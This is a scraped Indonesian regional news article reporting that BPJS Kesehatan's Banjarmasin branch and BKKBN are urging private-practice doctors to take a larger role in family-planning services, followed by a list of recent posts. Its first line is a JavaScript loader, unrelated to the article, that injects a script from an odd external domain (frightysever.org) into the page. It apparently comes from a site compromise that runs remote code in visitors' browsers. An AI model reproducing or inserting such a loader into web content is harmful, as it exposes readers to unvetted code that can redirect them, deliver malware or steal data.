(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BPJS KESEHATAN

BPJS Kesehatan Gandeng BKKBN Tingkatkan Peran Dokter dalam Pelayanan KB


BANJARMASIN, Berbagai terobosan terus dilakukan oleh Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin dalam rangka mengoptimalkan pelayanan Keluarga Berencana (KB) di era Jaminan Kesehatan Nasional – Kartu Indonesia Sehat (JKN-KIS).

Salah satunya dengan menggandeng Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) untuk melaksanakan pertemuan strategi dengan mengundang Dokter Praktik Perorangan yang telah bekerjasama dengan BPJS Kesehatan, Senin (10/9) lalu.

Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza menjelaskan bahwa selama ini pelayanan KB kepada masyarakat masih menggunakan tenaga para bidan dan petugas lapangan KB. Hal ini memang baik karena memanfaatkan segala bentuk tenaga medis yang ada, namun masih belum optimal mengingat kompetensi bagi para bidan dan tenaga medis tidak sama dengan kompetensi yang dimiliki oleh Dokter Praktik Perorangan.

“Benar selama ini untuk pelayanan KB masih banyak menggunakan tenaga bidan dan petugas lapangan. Hal ini tidak salah, namun setelah pemasangan KB perlu adanya monitoring dan controlling terhadap efek jangka panjang dari pemasangan KB tersebut dan kompetensi tersebut dimiliki oleh profesi tingkat Dokter Praktik Perorangan (DPP), bukan pada tingkat bidan atau petugas lapangan KB lagi.” Jelas Fakhriza.

Memang tidak dapat dipungkiri peran bidan dan petugas lapangan KB dalam menyukseskan program KB kepada masyarakat, karena mereka juga bersinggungan langsung dengan masyarakat di lapangan. Namun jangan dijadikan pembenaran apabila mereka harus bergerak sendiri untuk memberikan pelayanan KB. Oleh karena beberapa kompetensi tidak dimiliki pada bidang tersebut maka perlu adanya dampingan oleh DPP.

“Oleh karenanya, melalui pertemuan ini kami mengajak dan menghimbau kepada DPP, khususnya yang telah bekerja sama dengan BPJS Kesehatan untuk dapat lebih intens memperhatikan pelayanan KB kepada masyarakat. Hal ini dikarenakan sudah menjadi tugas dan tanggung jawab dari DPP yang memiliki kompetensi pada bidang tersebut, yakni dalam fungsi kontroling jangka panjang akibat dampak pemasangan KB terhadap seseorang,” tambah Fakhriza.

Fakhriza juga mengatakan bahwa Bidan dan petugas lapangan KB tetap bisa melaksanakan tugasnya namun harus bermitra atau dalam naungan DPP karena tanggung jawab terhadap pelayanan KB yang telah diberikan sepenuhnya akan menjadi tanggung jawab DPP.(arief)

Reporter : Arief
Ediotr : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

7 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

9 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

10 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

12 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

14 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.